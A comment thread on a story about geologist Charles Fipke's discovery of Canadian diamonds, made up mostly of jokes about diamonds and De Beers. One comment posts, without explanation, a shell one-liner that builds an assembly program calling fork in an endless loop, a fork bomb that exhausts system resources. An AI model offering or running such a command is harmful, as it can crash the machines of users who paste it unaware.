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How a Rogue Geologist Discovered Diamonds
prone2tech writes "Both NPR and Wired are running stories about how nearly two decades ago, a dogged, absentminded Canadian geologist named Charles Fipke who was practically down to his last nickel when he discovered diamonds in the Northwest Territories. Back then there was no such thing as a Canadian diamond, and today, Canada is the world's third-largest producer. The story behind the addition of Canada to the ranks of diamond-producing nations leads back to this one man. His discovery started the largest staking rush in North America since George Carmack found gold in the Klondike a century earlier."
he's a shining example of some who works really hard!
HexaByte - he's a square and a half!
Americans love the cliché of "outcast made good".
Here in North Korea we prefer the cliché of "outcast crushed by the omnipotent Party"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
When your wife finds out you spent $5 on a perfect diamond that was made in a lab instead of by the Earths natural and loving embrace, you will find out how loving and warm your couch is...
I mod down so you can mod up. Your welcome.
How long until carbon-neutral means depositing your factory's (or car's) exhaust as diamond?
Actually, that would be kinda cool. Too bad DeBeers would assassinate anyone who even thought about develo
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
When you only spend $5 on the diamond you can afford a warm, loving couch.
As a service to the scumsucking cartel community, I have the following suggestion for marketing to preserve the value of natural diamonds:
"Was your diamond worth dying for?"
Some sort of subtle; but strategic, insinuation that (like the oh so glamorous Helen of Troy) every woman wants a war fought over her might also be in order.
Heh, so does this not count as a learning experience for you?
You think you're disappointed? I read it as "rogue gynecologist".
Once again reality has let me down.
Suing each other is your national hobby, isn't it?
Beats curling, at least.
You mean like in the old joke about the party at the Nouveau Riche's, where the host proudly presents a bottle of wine: "I got this one for $1000!", when one of the guests replies: "Idiot! I know where you can get the same wine for $1500!"
Back in grade 9, half of the guys in my class had a crush on her.
And as we all know, if you crush her hard enough, she'll turn into a diamond